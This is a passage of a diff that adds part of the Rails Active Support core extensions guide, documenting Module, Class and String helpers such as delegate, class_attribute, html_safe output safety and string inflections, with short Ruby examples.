+1.in?([1,2])        # => true
+"lo".in?("hello")   # => true
+25.in?(30..50)      # => false
+1.in?(1)            # => ArgumentError
+```
+
+NOTE: Defined in `active_support/core_ext/object/inclusion.rb`.
+
+Extensions to `Module`
+----------------------
+
+### Attributes
+
+#### `alias_attribute`
+
+Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment):
+
+```ruby
+class User < ApplicationRecord
+  # You can refer to the email column as "login".
+  # This can be meaningful for authentication code.
+  alias_attribute :login, :email
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
+
+#### Internal Attributes
+
+When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.
+
+Active Support defines the macros `attr_internal_reader`, `attr_internal_writer`, and `attr_internal_accessor`. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
+
+The macro `attr_internal` is a synonym for `attr_internal_accessor`:
+
+```ruby
+# library
+class ThirdPartyLibrary::Crawler
+  attr_internal :log_level
+end
+
+# client code
+class MyCrawler < ThirdPartyLibrary::Crawler
+  attr_accessor :log_level
+end
+```
+
+In the previous example it could be the case that `:log_level` does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own `:log_level`. Thanks to `attr_internal` there's no collision.
+
+By default the internal instance variable is named with a leading underscore, `@_log_level` in the example above. That's configurable via `Module.attr_internal_naming_format` though, you can pass any `sprintf`-like format string with a leading `@` and a `%s` somewhere, which is where the name will be placed. The default is `"@_%s"`.
+
+Rails uses internal attributes in a few spots, for examples for views:
+
+```ruby
+module ActionView
+  class Base
+    attr_internal :captures
+    attr_internal :request, :layout
+    attr_internal :controller, :template
+  end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
+
+#### Module Attributes
+
+The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes).
+
+For example, the dependencies mechanism uses them:
+
+```ruby
+module ActiveSupport
+  module Dependencies
+    mattr_accessor :warnings_on_first_load
+    mattr_accessor :history
+    mattr_accessor :loaded
+    mattr_accessor :mechanism
+    mattr_accessor :load_paths
+    mattr_accessor :load_once_paths
+    mattr_accessor :autoloaded_constants
+    mattr_accessor :explicitly_unloadable_constants
+    mattr_accessor :constant_watch_stack
+    mattr_accessor :constant_watch_stack_mutex
+  end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.
+
+### Parents
+
+#### `parent`
+
+The `parent` method on a nested named module returns the module that contains its corresponding constant:
+
+```ruby
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent # => X::Y
+M.parent       # => X::Y
+```
+
+If the module is anonymous or belongs to the top-level, `parent` returns `Object`.
+
+WARNING: Note that in that case `parent_name` returns `nil`.
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### `parent_name`
+
+The `parent_name` method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
+
+```ruby
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent_name # => "X::Y"
+M.parent_name       # => "X::Y"
+```
+
+For top-level or anonymous modules `parent_name` returns `nil`.
+
+WARNING: Note that in that case `parent` returns `Object`.
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### `parents`
+
+The method `parents` calls `parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top:
+
+```ruby
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parents # => [X::Y, X, Object]
+M.parents       # => [X::Y, X, Object]
+```
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+### Reachable
+
+A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
+
+That is what ordinarily happens, if a module is called "M", the `M` constant exists and holds it:
+
+```ruby
+module M
+end
+
+M.reachable? # => true
+```
+
+But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
+
+```ruby
+module M
+end
+
+orphan = Object.send(:remove_const, :M)
+
+# The module object is orphan now but it still has a name.
+orphan.name # => "M"
+
+# You cannot reach it via the constant M because it does not even exist.
+orphan.reachable? # => false
+
+# Let's define a module called "M" again.
+module M
+end
+
+# The constant M exists now again, and it stores a module
+# object called "M", but it is a new instance.
+orphan.reachable? # => false
+```
+
+NOTE: Defined in `active_support/core_ext/module/reachable.rb`.
+
+### Anonymous
+
+A module may or may not have a name:
+
+```ruby
+module M
+end
+M.name # => "M"
+
+N = Module.new
+N.name # => "N"
+
+Module.new.name # => nil
+```
+
+You can check whether a module has a name with the predicate `anonymous?`:
+
+```ruby
+module M
+end
+M.anonymous? # => false
+
+Module.new.anonymous? # => true
+```
+
+Note that being unreachable does not imply being anonymous:
+
+```ruby
+module M
+end
+
+m = Object.send(:remove_const, :M)
+
+m.reachable? # => false
+m.anonymous? # => false
+```
+
+though an anonymous module is unreachable by definition.
+
+NOTE: Defined in `active_support/core_ext/module/anonymous.rb`.
+
+### Method Delegation
+
+#### `delegate`
+
+The macro `delegate` offers an easy way to forward methods.
+
+Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model:
+
+```ruby
+class User < ApplicationRecord
+  has_one :profile
+end
+```
+
+With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
+
+```ruby
+class User < ApplicationRecord
+  has_one :profile
+
+  def name
+    profile.name
+  end
+end
+```
+
+That is what `delegate` does for you:
+
+```ruby
+class User < ApplicationRecord
+  has_one :profile
+
+  delegate :name, to: :profile
+end
+```
+
+It is shorter, and the intention more obvious.
+
+The method must be public in the target.
+
+The `delegate` macro accepts several methods:
+
+```ruby
+delegate :name, :age, :address, :twitter, to: :profile
+```
+
+When interpolated into a string, the `:to` option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:
+
+```ruby
+# delegates to the Rails constant
+delegate :logger, to: :Rails
+
+# delegates to the receiver's class
+delegate :table_name, to: :class
+```
+
+WARNING: If the `:prefix` option is `true` this is less generic, see below.
+
+By default, if the delegation raises `NoMethodError` and the target is `nil` the exception is propagated. You can ask that `nil` is returned instead with the `:allow_nil` option:
+
+```ruby
+delegate :name, to: :profile, allow_nil: true
+```
+
+With `:allow_nil` the call `user.name` returns `nil` if the user has no profile.
+
+The option `:prefix` adds a prefix to the name of the generated method. This may be handy for example to get a better name:
+
+```ruby
+delegate :street, to: :address, prefix: true
+```
+
+The previous example generates `address_street` rather than `street`.
+
+WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the `:to` option must be a method name.
+
+A custom prefix may also be configured:
+
+```ruby
+delegate :size, to: :attachment, prefix: :avatar
+```
+
+In the previous example the macro generates `avatar_size` rather than `size`.
+
+NOTE: Defined in `active_support/core_ext/module/delegation.rb`
+
+#### `delegate_missing_to`
+
+Imagine you would like to delegate everything missing from the `User` object,
+to the `Profile` one. The `delegate_missing_to` macro lets you implement this
+in a breeze:
+
+```ruby
+class User < ApplicationRecord
+  has_one :profile
+
+  delegate_missing_to :profile
+end
+```
+
+The target can be anything callable within the object, e.g. instance variables,
+methods, constants, etc. Only the public methods of the target are delegated.
+
+NOTE: Defined in `active_support/core_ext/module/delegation.rb`.
+
+### Redefining Methods
+
+There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
+
+The method `redefine_method` prevents such a potential warning, removing the existing method before if needed.
+
+NOTE: Defined in `active_support/core_ext/module/remove_method.rb`.
+
+Extensions to `Class`
+---------------------
+
+### Class Attributes
+
+#### `class_attribute`
+
+The method `class_attribute` declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
+
+```ruby
+class A
+  class_attribute :x
+end
+
+class B < A; end
+
+class C < B; end
+
+A.x = :a
+B.x # => :a
+C.x # => :a
+
+B.x = :b
+A.x # => :a
+C.x # => :b
+
+C.x = :c
+A.x # => :a
+B.x # => :b
+```
+
+For example `ActionMailer::Base` defines:
+
+```ruby
+class_attribute :default_params
+self.default_params = {
+  mime_version: "1.0",
+  charset: "UTF-8",
+  content_type: "text/plain",
+  parts_order: [ "text/plain", "text/enriched", "text/html" ]
+}.freeze
+```
+
+They can also be accessed and overridden at the instance level.
+
+```ruby
+A.x = 1
+
+a1 = A.new
+a2 = A.new
+a2.x = 2
+
+a1.x # => 1, comes from A
+a2.x # => 2, overridden in a2
+```
+
+The generation of the writer instance method can be prevented by setting the option `:instance_writer` to `false`.
+
+```ruby
+module ActiveRecord
+  class Base
+    class_attribute :table_name_prefix, instance_writer: false, default: "my"
+  end
+end
+```
+
+A model may find that option useful as a way to prevent mass-assignment from setting the attribute.
+
+The generation of the reader instance method can be prevented by setting the option `:instance_reader` to `false`.
+
+```ruby
+class A
+  class_attribute :x, instance_reader: false
+end
+
+A.new.x = 1
+A.new.x # NoMethodError
+```
+
+For convenience `class_attribute` also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called `x?`.
+
+When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method.
+
+If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined.
+
+NOTE: Defined in `active_support/core_ext/class/attribute.rb`.
+
+#### `cattr_reader`, `cattr_writer`, and `cattr_accessor`
+
+The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it:
+
+```ruby
+class MysqlAdapter < AbstractAdapter
+  # Generates class methods to access @@emulate_booleans.
+  cattr_accessor :emulate_booleans, default: true
+end
+```
+
+Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with `class_attribute` (see above). For example given
+
+```ruby
+module ActionView
+  class Base
+    cattr_accessor :field_error_proc, default: Proc.new { ... }
+  end
+end
+```
+
+we can access `field_error_proc` in views.
+
+Also, you can pass a block to `cattr_*` to set up the attribute with a default value:
+
+```ruby
+class MysqlAdapter < AbstractAdapter
+  # Generates class methods to access @@emulate_booleans with default value of true.
+  cattr_accessor :emulate_booleans, default: true
+end
+```
+
+The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.
+
+```ruby
+module A
+  class B
+    # No first_name instance reader is generated.
+    cattr_accessor :first_name, instance_reader: false
+    # No last_name= instance writer is generated.
+    cattr_accessor :last_name, instance_writer: false
+    # No surname instance reader or surname= writer is generated.
+    cattr_accessor :surname, instance_accessor: false
+  end
+end
+```
+
+A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.
+
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.
+
+### Subclasses & Descendants
+
+#### `subclasses`
+
+The `subclasses` method returns the subclasses of the receiver:
+
+```ruby
+class C; end
+C.subclasses # => []
+
+class B < C; end
+C.subclasses # => [B]
+
+class A < B; end
+C.subclasses # => [B]
+
+class D < C; end
+C.subclasses # => [B, D]
+```
+
+The order in which these classes are returned is unspecified.
+
+NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
+
+#### `descendants`
+
+The `descendants` method returns all classes that are `<` than its receiver:
+
+```ruby
+class C; end
+C.descendants # => []
+
+class B < C; end
+C.descendants # => [B]
+
+class A < B; end
+C.descendants # => [B, A]
+
+class D < C; end
+C.descendants # => [B, A, D]
+```
+
+The order in which these classes are returned is unspecified.
+
+NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
+
+Extensions to `String`
+----------------------
+
+### Output Safety
+
+#### Motivation
+
+Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the [Security guide](security.html#cross-site-scripting-xss) for further information about the risks.
+
+#### Safe Strings
+
+Active Support has the concept of _(html) safe_ strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
+
+Strings are considered to be _unsafe_ by default:
+
+```ruby
+"".html_safe? # => false
+```
+
+You can obtain a safe string from a given one with the `html_safe` method:
+
+```ruby
+s = "".html_safe
+s.html_safe? # => true
+```
+
+It is important to understand that `html_safe` performs no escaping whatsoever, it is just an assertion:
+
+```ruby
+s = "<script>...</script>".html_safe
+s.html_safe? # => true
+s            # => "<script>...</script>"
+```
+
+It is your responsibility to ensure calling `html_safe` on a particular string is fine.
+
+If you append onto a safe string, either in-place with `concat`/`<<`, or with `+`, the result is a safe string. Unsafe arguments are escaped:
+
+```ruby
+"".html_safe + "<" # => "&lt;"
+```
+
+Safe arguments are directly appended:
+
+```ruby
+"".html_safe + "<".html_safe # => "<"
+```
+
+These methods should not be used in ordinary views. Unsafe values are automatically escaped:
+
+```erb
+<%= @review.title %> <%# fine, escaped if needed %>
+```
+
+To insert something verbatim use the `raw` helper rather than calling `html_safe`:
+
+```erb
+<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
+```
+
+or, equivalently, use `<%==`:
+
+```erb
+<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
+```
+
+The `raw` helper calls `html_safe` for you:
+
+```ruby
+def raw(stringish)
+  stringish.to_s.html_safe
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/output_safety.rb`.
+
+#### Transformation
+
+As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc.
+
+In the case of in-place transformations like `gsub!` the receiver itself becomes unsafe.
+
+INFO: The safety bit is lost always, no matter whether the transformation actually changed something.
+
+#### Conversion and Coercion
+
+Calling `to_s` on a safe string returns a safe string, but coercion with `to_str` returns an unsafe string.
+
+#### Copying
+
+Calling `dup` or `clone` on safe strings yields safe strings.
+
+### `remove`
+
+The method `remove` will remove all occurrences of the pattern:
+
+```ruby
+"Hello World".remove(/Hello /) # => "World"
+```
+
+There's also the destructive version `String#remove!`.
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `squish`
+
+The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
+
+```ruby
+" \n  foo\n\r \t bar \n".squish # => "foo bar"
+```
+
+There's also the destructive version `String#squish!`.
+
+Note that it handles both ASCII and Unicode whitespace.
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `truncate`
+
+The method `truncate` returns a copy of its receiver truncated after a given `length`:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(20)
+# => "Oh dear! Oh dear!..."
+```
+
+Ellipsis can be customized with the `:omission` option:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '&hellip;')
+# => "Oh dear! Oh &hellip;"
+```
+
+Note in particular that truncation takes into account the length of the omission string.
+
+Pass a `:separator` to truncate the string at a natural break:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(18)
+# => "Oh dear! Oh dea..."
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
+# => "Oh dear! Oh..."
+```
+
+The option `:separator` can be a regexp:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
+# => "Oh dear! Oh..."
+```
+
+In above examples "dear" gets cut first, but then `:separator` prevents it.
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `truncate_words`
+
+The method `truncate_words` returns a copy of its receiver truncated after a given number of words:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(4)
+# => "Oh dear! Oh dear!..."
+```
+
+Ellipsis can be customized with the `:omission` option:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '&hellip;')
+# => "Oh dear! Oh dear!&hellip;"
+```
+
+Pass a `:separator` to truncate the string at a natural break:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!')
+# => "Oh dear! Oh dear! I shall be late..."
+```
+
+The option `:separator` can be a regexp:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/)
+# => "Oh dear! Oh dear!..."
+```
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `inquiry`
+
+The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier.
+
+```ruby
+"production".inquiry.production? # => true
+"active".inquiry.inactive?       # => false
+```
+
+### `starts_with?` and `ends_with?`
+
+Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`:
+
+```ruby
+"foo".starts_with?("f") # => true
+"foo".ends_with?("o")   # => true
+```
+
+NOTE: Defined in `active_support/core_ext/string/starts_ends_with.rb`.
+
+### `strip_heredoc`
+
+The method `strip_heredoc` strips indentation in heredocs.
+
+For example in
+
+```ruby
+if options[:usage]
+  puts <<-USAGE.strip_heredoc
+    This command does such and such.
+
+    Supported options are:
+      -h         This message
+      ...
+  USAGE
+end
+```
+
+the user would see the usage message aligned against the left margin.
+
+Technically, it looks for the least indented line in the whole string, and removes
+that amount of leading whitespace.
+
+NOTE: Defined in `active_support/core_ext/string/strip.rb`.
+
+### `indent`
+
+Indents the lines in the receiver:
+
+```ruby
+<<EOS.indent(2)
+def some_method
+  some_code
+end
+EOS
+# =>
+  def some_method
+    some_code
+  end
+```
+
+The second argument, `indent_string`, specifies which indent string to use. The default is `nil`, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.
+
+```ruby
+"  foo".indent(2)        # => "    foo"
+"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+"foo".indent(2, "\t")    # => "\t\tfoo"
+```
+
+While `indent_string` is typically one space or tab, it may be any string.
+
+The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false.
+
+```ruby
+"foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
+"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
+```
+
+The `indent!` method performs indentation in-place.
+
+NOTE: Defined in `active_support/core_ext/string/indent.rb`.
+
+### Access
+
+#### `at(position)`
+
+Returns the character of the string at position `position`:
+
+```ruby
+"hello".at(0)  # => "h"
+"hello".at(4)  # => "o"
+"hello".at(-1) # => "o"
+"hello".at(10) # => nil
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `from(position)`
+
+Returns the substring of the string starting at position `position`:
+
+```ruby
+"hello".from(0)  # => "hello"
+"hello".from(2)  # => "llo"
+"hello".from(-2) # => "lo"
+"hello".from(10) # => nil
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `to(position)`
+
+Returns the substring of the string up to position `position`:
+
+```ruby
+"hello".to(0)  # => "h"
+"hello".to(2)  # => "hel"
+"hello".to(-2) # => "hell"
+"hello".to(10) # => "hello"
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `first(limit = 1)`
+
+The call `str.first(n)` is equivalent to `str.to(n-1)` if `n` > 0, and returns an empty string for `n` == 0.
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `last(limit = 1)`
+
+The call `str.last(n)` is equivalent to `str.from(-n)` if `n` > 0, and returns an empty string for `n` == 0.
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+### Inflections
+
+#### `pluralize`
+
+The method `pluralize` returns the plural of its receiver:
+
+```ruby
+"table".pluralize     # => "tables"
+"ruby".pluralize      # => "rubies"
+"equipment".pluralize # => "equipment"
+```
+
+As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments.
+
+`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned:
+
+```ruby
+"dude".pluralize(0) # => "dudes"
+"dude".pluralize(1) # => "dude"
+"dude".pluralize(2) # => "dudes"
+```
+
+Active Record uses this method to compute the default table name that corresponds to a model:
+
+```ruby
+# active_record/model_schema.rb
+def undecorated_table_name(class_name = base_class.name)
+  table_name = class_name.to_s.demodulize.underscore
+  pluralize_table_names ? table_name.pluralize : table_name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `singularize`
+
+The inverse of `pluralize`:
+
+```ruby
+"tables".singularize    # => "table"
+"rubies".singularize    # => "ruby"
+"equipment".singularize # => "equipment"
+```
+
+Associations compute the name of the corresponding default associated class using this method:
+
+```ruby
+# active_record/reflection.rb
+def derive_class_name
+  class_name = name.to_s.camelize
+  class_name = class_name.singularize if collection?
+  class_name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `camelize`
+
+The method `camelize` returns its receiver in camel case:
+
+```ruby
+"product".camelize    # => "Product"
+"admin_user".camelize # => "AdminUser"
+```
+
+As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:
+
+```ruby
+"backoffice/session".camelize # => "Backoffice::Session"
+```
+
+For example, Action Pack uses this method to load the class that provides a certain session store:
+
+```ruby
+# action_controller/metal/session_management.rb
+def session_store=(store)
+  @@session_store = store.is_a?(Symbol) ?
+    ActionDispatch::Session.const_get(store.to_s.camelize) :
+    store
+end
+```
+
+`camelize` accepts an optional argument, it can be `:upper` (default), or `:lower`. With the latter the first letter becomes lowercase:
+
+```ruby
+"visual_effect".camelize(:lower) # => "visualEffect"
+```
+
+That may be handy to compute method names in a language that follows that convention, for example JavaScript.
+
+INFO: As a rule of thumb you can think of `camelize` as the inverse of `underscore`, though there are cases where that does not hold: `"SSLError".underscore.camelize` gives back `"SslError"`. To support cases such as this, Active Support allows you to specify acronyms in `config/initializers/inflections.rb`:
+
+```ruby
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.acronym 'SSL'
+end
+
+"SSLError".underscore.camelize # => "SSLError"
+```
+
+`camelize` is aliased to `camelcase`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `underscore`
+
+The method `underscore` goes the other way around, from camel case to paths:
+
+```ruby
+"Product".underscore   # => "product"
+"AdminUser".underscore # => "admin_user"
+```
+
+Also converts "::" back to "/":
+
+```ruby
+"Backoffice::Session".underscore # => "backoffice/session"
+```
+
+and understands strings that start with lowercase:
+
+```ruby
+"visualEffect".underscore # => "visual_effect"
+```
+
+`underscore` accepts no argument though.
+
+Rails class and module autoloading uses `underscore` to infer the relative path without extension of a file that would define a given missing constant:
+
+```ruby
+# active_support/dependencies.rb
+def load_missing_constant(from_mod, const_name)
+  ...
+  qualified_name = qualified_name_for from_mod, const_name
+  path_suffix = qualified_name.underscore
+  ...
+end
+```
+
+INFO: As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `titleize`
+
+The method `titleize` capitalizes the words in the receiver:
+
+```ruby
+"alice in wonderland".titleize # => "Alice In Wonderland"
+"fermat's enigma".titleize     # => "Fermat's Enigma"
+```
+
+`titleize` is aliased to `titlecase`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `dasherize`
+
+The method `dasherize` replaces the underscores in the receiver with dashes:
+
+```ruby
+"name".dasherize         # => "name"
+"contact_data".dasherize # => "contact-data"
+```
+
+The XML serializer of models uses this method to dasherize node names:
+
+```ruby
+# active_model/serializers/xml.rb
+def reformat_name(name)
+  name = name.camelize if camelize?
+  dasherize? ? name.dasherize : name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `demodulize`
+
+Given a string with a qualified constant name, `demodulize` returns the very constant name, that is, the rightmost part of it:
+
+```ruby
+"Product".demodulize                        # => "Product"
+"Backoffice::UsersController".demodulize    # => "UsersController"
+"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+"::Inflections".demodulize                  # => "Inflections"
+"".demodulize                               # => ""
+
+```
+
+Active Record for example uses this method to compute the name of a counter cache column:
+
+```ruby
+# active_record/reflection.rb
+def counter_cache_column
+  if options[:counter_cache] == true
+    "#{active_record.name.demodulize.underscore.pluralize}_count"
+  elsif options[:counter_cache]
+    options[:counter_cache]
+  end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `deconstantize`
+
+Given a string with a qualified constant reference expression, `deconstantize` removes the rightmost segment, generally leaving the name of the constant's container:
+
+```ruby
+"Product".deconstantize                        # => ""
+"Backoffice::UsersController".deconstantize    # => "Backoffice"
+"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `parameterize`
+
+The method `parameterize` normalizes its receiver in a way that can be used in pretty URLs.
+
+```ruby
+"John Smith".parameterize # => "john-smith"
+"Kurt Gödel".parameterize # => "kurt-godel"
+```
+
+To preserve the case of the string, set the `preserve_case` argument to true. By default, `preserve_case` is set to false.
+
+```ruby
+"John Smith".parameterize(preserve_case: true) # => "John-Smith"
+"Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel"
+```
+
+To use a custom separator, override the `separator` argument.
+
+```ruby
+"John Smith".parameterize(separator: "_") # => "john\_smith"
+"Kurt Gödel".parameterize(separator: "_") # => "kurt\_godel"
+```
+
+In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `tableize`
+
+The method `tableize` is `underscore` followed by `pluralize`.
+
+```ruby
+"Person".tableize      # => "people"
+"Invoice".tableize     # => "invoices"
+"InvoiceLine".tableize # => "invoice_lines"
+```
+
+As a rule of thumb, `tableize` returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight `tableize` indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `classify`
+
+The method `classify` is the inverse of `tableize`. It gives you the class name corresponding to a table name:
+
+```ruby
+"people".classify        # => "Person"
+"invoices".classify      # => "Invoice"
+"invoice_lines".classify # => "InvoiceLine"
+```
+
+The method understands qualified table names:
+
+```ruby
+"highrise_production.companies".classify # => "Company"
+```
+
+Note that `classify` returns a class name as a string. You can get the actual class object invoking `constantize` on it, explained next.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `constantize`
+
+The method `constantize` resolves the constant reference expression in its receiver:
+
+```ruby
+"Integer".constantize # => Integer
+
+module M
+  X = 1
+end
+"M::X".constantize # => 1
+```
+
+If the string evaluates to no known constant, or its content is not even a valid constant name, `constantize` raises `NameError`.
+
+Constant name resolution by `constantize` starts always at the top-level `Object` even if there is no leading "::".
+
+```ruby
+X = :in_Object
+module M
+  X = :in_M
+
+  X                 # => :in_M
+  "::X".constantize # => :in_Object
+  "X".constantize   # => :in_Object (!)
+end
+```
+
+So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.
+
+Mailer test cases obtain the mailer being tested from the name of the test class using `constantize`:
+
+```ruby
+# action_mailer/test_case.rb
+def determine_default_mailer(name)
+  name.sub(/Test$/, '').constantize
+rescue NameError => e
+  raise NonInferrableMailerError.new(name)
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `humanize`
+
+The method `humanize` tweaks an attribute name for display to end users.
+
+Specifically performs these transformations:
+
+  * Applies human inflection rules to the argument.
+  * Deletes leading underscores, if any.
+  * Removes a "_id" suffix if present.
+  * Replaces underscores with spaces, if any.
+  * Downcases all words except acronyms.
+  * Capitalizes the first word.
+
+The capitalization of the first word can be turned off by setting the
++:capitalize+ option to false (default is true).
+
+```ruby
+"name".humanize                         # => "Name"
+"author_id".humanize                    # => "Author"
+"author_id".humanize(capitalize: false) # => "author"
+"comments_count".humanize               # => "Comments count"
+"_id".humanize                          # => "Id"
+```
+
+If "SSL" was defined to be an acronym:
+
+```ruby
+'ssl_error'.humanize # => "SSL error"
+```
+
+The helper method `full_messages` uses `humanize` as a fallback to include
+attribute names:
+
+```ruby
+def full_messages
+  map { |attribute, message| full_message(attribute, message) }
+end
+
+def full_message
+  ...
+  attr_name = attribute.to_s.tr('.', '_').humanize
+  attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
+  ...
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `foreign_key`
+
+The method `foreign_key` gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
+
+```ruby
+"User".foreign_key           # => "user_id"
+"InvoiceLine".foreign_key    # => "invoice_line_id"
+"Admin::Session".foreign_key # => "session_id"
+```
+
+Pass a false argument if you do not want the underscore in "_id":
+
+```ruby
+"User".foreign_key(false) # => "userid"
+```
+
+Associations use this method to infer foreign keys, for example `has_one` and `has_many` do this:
+
+```ruby
+# active_record/associations.rb
+foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+### Conversions
+
+#### `to_date`, `to_time`, `to_datetime`
+
+The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wrappers around `Date._parse`:
+
+```ruby
+"2010-07-27".to_date              # => Tue, 27 Jul 2010
